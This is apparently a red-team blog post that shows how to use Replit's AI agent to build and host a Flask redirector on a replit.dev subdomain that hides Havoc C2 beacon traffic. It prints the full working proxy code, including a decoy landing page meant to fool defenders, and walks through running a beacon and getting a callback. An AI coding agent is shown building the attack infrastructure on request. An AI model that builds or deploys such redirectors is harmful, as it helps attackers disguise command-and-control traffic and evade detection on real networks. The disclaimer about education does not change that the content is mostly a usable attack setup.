Watch Your AI! Using Replit AI to Mask Your C2 Traffic

Estimated Reading Time: 9 minutes

When you’re running any sort of offensive operations, managing your C2 traffic and hiding it with modern technologies is always an important thing to do, it’s not just a “nice-to-have”; it’s something you want to take care of while putting together your attack infrastructure.

While reading through some of the latest AI buzz, I came across a platform called Replit. It caught my eye because it lets you spin up full web apps using AI, after playing around with it for a bit, I’ve got to say, it’s a good one. The whole workflow feels smooth, and the AI support takes a lot of the grunt work out of building stuff quickly.

With Replit, spinning up a web app is really simple. You tell the agent what you want, and it’ll not only write the code for you, but also handle the deployment, automatically pushing it to a random (or custom) replit.dev subdomain. It’s kind of wild how quick and easy the whole process is, especially for quick prototypes or proof-of-concept builds.

Before we start

This blog post is intended strictly for educational purposes only. The content shared here is meant to help security professionals, researchers, and enthusiasts understand offensive techniques in order to better defend against them. I do not encourage, condone, or take any responsibility for illegal use or abuse of the information presented. Use responsibly and within the boundaries of the law.

Also, just to be clear, the AI part in this post isn’t some fancy buzzword thrown in for attention. We actually used it to build useful stuff.

The first idea that popped into my head was to throw together a simple redirector, something lightweight that could sit on a replit.dev subdomain and quietly handle my C2 traffic. The goal was to have it forward requests straight to my actual teamserver, or maybe chain it through another redirector sitting in front. Nothing fancy, just a quick way to blend in and add another layer to the infrastructure.

When you spin up an app on Replit, it gets deployed to a replit.dev subdomain by default. It looks something like this:

 https[://]aaaaaaaa-2222-b33f-b33f--11-133713371337ee.ReplitSubDomain.replit.dev

If you’re on a paid plan, though, you can remove the random naming and go with something cleaner like:

 https[://]LegitApp.replit.dev

That subdomain serves whatever your app’s code does, running directly on Replit’s infrastructure. And the best part? Once it’s deployed, you can dive into the generated code and tweak it however you like.

Routing your C2 traffic through these replit.dev domains can be a nice way to blend in. Since Replit is a legit, widely-used platform, especially in dev and business environments, your traffic gets some free camouflage.

And if you take the extra step to make your beacon communication mimic a real service (think API calls or update checks), it becomes way harder for blue teamers to flag it as suspicious at first glance.

Like I mentioned earlier, building the app is super straightforward. You just tell the AI agent what you want your app to do, and it’ll come back with a suggested work plan. Once you give it the green light, it jumps straight into building the app for you.

So to wrap this up, we will tell the agent to create a Flask web app that we will tweak a bit to redirect our traffic from the beacon to the C2 using this app.

Instructing the agent to build a simple app for example will be something like this:

Then the agent will start working on building the application and provide you with a plan and ask you for some extra features you may want to implement.

We will approve this without adding anything and just start.

At this point, you’ll see the agent kick off the build process by generating a main.py file. Give it a few minutes, and it’ll wrap everything up and hand you a working app complete with a live preview.

As we can see on the right side the preview of our code, and on top of it, we can see the .replit.dev address of that, if we expand it we will get the full app url which is:

Now if you open up that URL, you’ll see the app live and ready to go, just like that. It’s fully deployed and good to use in public.

Now that we’ve got a handle on how Replit works under the hood, it’s time to get our hands dirty. We’re gonna build a simple redirector using Flask, just enough to catch incoming C2 HTTP traffic and forward those GET and POST requests to our actual teamserver.

For this setup, I will use Havoc C2 as my C2, and I will configure the beacon to send its POST requests to the /api/stats/traffic URI. Keeping it specific like this helps in shaping the traffic. It makes it easier to build a redirector that forwards only the relevant requests to the teamserver while ignoring anything else that might hit the endpoint, more on that later on.

Our Havoc C2 listener will be initially set up with the following configuration:

This listener is set to listen on port 8080 from the teamserver side, using https://tochangethis.replit.dev as the primary host for communication. As for the endpoint, we will be using /api/stats/traffic as the main path our beacon will interact with.

We will change the hostname tochangethis.replit.dev to be the hostname of the app deployed by Replit.

Alright, time to build. We will start by giving the AI agent a clear prompt, We want a Flask app that handles both GET and POST requests, specifically targeting the /api/stats/traffic route. The app should forward anything hitting that route directly to our C2 teamserver listener.

On top of that, we’ll tweak a couple of settings, disable caching to avoid any cached response to the agent, and enable request logging so we can easily debug incoming traffic and confirm everything’s flowing the way we want.

So basically our instruction will be this:

Develop a Flask web application that proxies all GET and POST requests to the /api/stats/traffic endpoint by forwarding them to https://original_host.com, logging each request and its response, and returning the response to the client with caching disabled. Additionally, the app should serve a static landing page at the root path (/) displaying a “Coming Soon” message along with a newsletter subscription form.

Replit AI Agent Instructions

After a few minutes, the agent will finish writing the application and deploying it as follows:

Nice, looks like the application has been successfully deployed. We can see the main page loading without issues, and as expected, it’s live on a .replit.dev subdomain, which is clearly displayed in the green navbar at the top. Clean and ready to roll.

Let’s quickly take a look at the generated Python code from the Files manager:

The full code generated by Replit AI Agent is:

import os
import logging
import requests
from flask import Flask, request, jsonify, render_template, redirect, url_for, flash, Response
from urllib.parse import urljoin
import json

# Configure logging
logging.basicConfig(
    level=logging.DEBUG,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

# Initialize Flask app
app = Flask(__name__)
app.secret_key = os.environ.get("SESSION_SECRET",
                                "default-secret-key-for-development")

# Target API host
TARGET_HOST = "https://****.live:8080"


@app.route('/')
def index():
    """Serve the coming soon landing page."""
    from datetime import datetime
    current_year = datetime.now().year
    return render_template('index.html', current_year=current_year)


@app.route('/subscribe', methods=['POST'])
def subscribe():
    """Handle newsletter subscription."""
    email = request.form.get('email')

    if not email:
        flash('Email is required!', 'danger')
        return redirect(url_for('index'))

    # Here you would typically save the email to a database or send it to a mailing service
    # For now, we'll just log it
    logger.info(f"Newsletter subscription: {email}")

    flash('Thank you for subscribing!', 'success')
    return redirect(url_for('index'))


@app.route('/api/stats/traffic', methods=['GET', 'POST'])
def proxy_traffic_stats():
    """Proxy requests to the original host's traffic stats endpoint."""
    method = request.method
    target_url = urljoin(TARGET_HOST, "/api/stats/traffic")

    # Log the incoming request
    logger.debug(f"Incoming request: {method} {request.url}")
    logger.debug(f"Request headers: {request.headers}")
    if method == 'POST':
        logger.debug(f"Request data: {request.get_data()}")

    # Prepare headers to forward
    headers = {
        key: value
        for key, value in request.headers.items()
        if key.lower() not in ['host', 'content-length']
    }

    try:
        # Forward the request to the target host
        if method == 'GET':
            response = requests.get(target_url,
                                    headers=headers,
                                    params=request.args,
                                    timeout=10,
                                    verify=False)
        elif method == 'POST':
            response = requests.post(target_url,
                                     headers=headers,
                                     data=request.get_data(),
                                     timeout=10,
                                     verify=False)
        else:
            return jsonify({"error": "Method not allowed"}), 405

        # Log the response
        logger.debug(f"Response status: {response.status_code}")
        logger.debug(f"Response headers: {response.headers}")
        logger.debug(f"Response content: {response.content}")

        # Prepare the response to send back to the client
        excluded_headers = [
            'content-encoding', 'content-length', 'transfer-encoding',
            'connection'
        ]
        headers = [(name, value)
                   for name, value in response.raw.headers.items()
                   if name.lower() not in excluded_headers]

        # Add no-cache headers
        no_cache_headers = [('Cache-Control',
                             'no-store, no-cache, must-revalidate, max-age=0'),
                            ('Pragma', 'no-cache'), ('Expires', '0')]
        headers.extend(no_cache_headers)

        # Return the response
        return Response(response.content, response.status_code, headers)

    except requests.RequestException as e:
        logger.error(f"Proxy error: {str(e)}")
        return jsonify({
            "error": "Failed to forward request",
            "details": str(e)
        }), 502


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

The code does exactly what we asked for—it proxies traffic to our original C2 endpoint at http://****.live:8080/api/stats/traffic using requestslibrary while still serving the rest of the application cleanly.

The /api/stats/traffic route handles both GET and POST requests, forwarding them with all necessary headers and payloads, and returns the exact response back to the client.

On top of that, it’s wrapped with solid logging for both request and response data, and disables caching with the right headers—perfect for debugging C2 communication without leaving traces in the browser or any intermediate caching layers. The rest of the app (like the landing page and newsletter handler) stays functional and helps the redirector blend in as a normal web service.

This code can definitely be customized depending on how your C2 handles traffic and what its communication patterns look like. In other C2 frameworks like Cobalt Strike or Nighthawk, you have tighter control over specific parts of the request and response body.

In our case, since this is just a proof of concept of the technique, we’re keeping it simple and using this technique to forward traffic as-is. But the base is flexible enough to adapt however you need.

You can customize the pages, tweak the theme, or even adjust the code logic depending on what you’re aiming for, but for now, we’ll roll with this setup. It’s already solid enough for our needs and gets the job done without overcomplicating things.

And just like we mentioned earlier, you can grab the full hostname where the code was deployed straight from the green navbar at the top of the page. In our case, this is the new hostname we will be using in our beacon.

And if we browse the hostname, we will get this nice landing page:

Now we will reconfigure our Havoc C2 listener with the new hostname as follows:

Alright, now let’s generate a payload and put everything to the test. I’m going to set up the beacon to connect through my Burp proxy so I can intercept the traffic and observe how the communication flows step by step.

I will copy the generated payload replit-beacon.exe to my Windows 10 machine and execute it while intercepting the connection:

Great, we can see the request hitting the correct host and the exact path we set up. Let’s go ahead and forward it, turn off interception in Burp, and then switch over to our Havoc C2 client to see if the beacon checks in.

Awesome, we’ve got a callback! The beacon successfully reached the teamserver, and we ran the ps command and got the results back. All of that traffic flowed cleanly through the Replit domain, just like we planned. Stealthy, simple, and effective.

Conclusion

Using Replit domains to route your C2 traffic is a solid technique, mainly because these domains are generally trusted and widely used.

You can definitely take things further by tweaking the backend logic or customizing how the frontend is served. On top of that, adding access controls or request validation can tighten things up even more and make your setup harder to fingerprint.

Replit itself is a powerful platform; It builds and deploys code for you, takes care of the infrastructure, and just makes life easier overall. And as I mentioned earlier, this was done strictly for educational and legal purposes only. I’m not responsible for any misuse or illegal activity stemming from this information.

Leave a Reply

Your email address will not be published. Required fields are marked *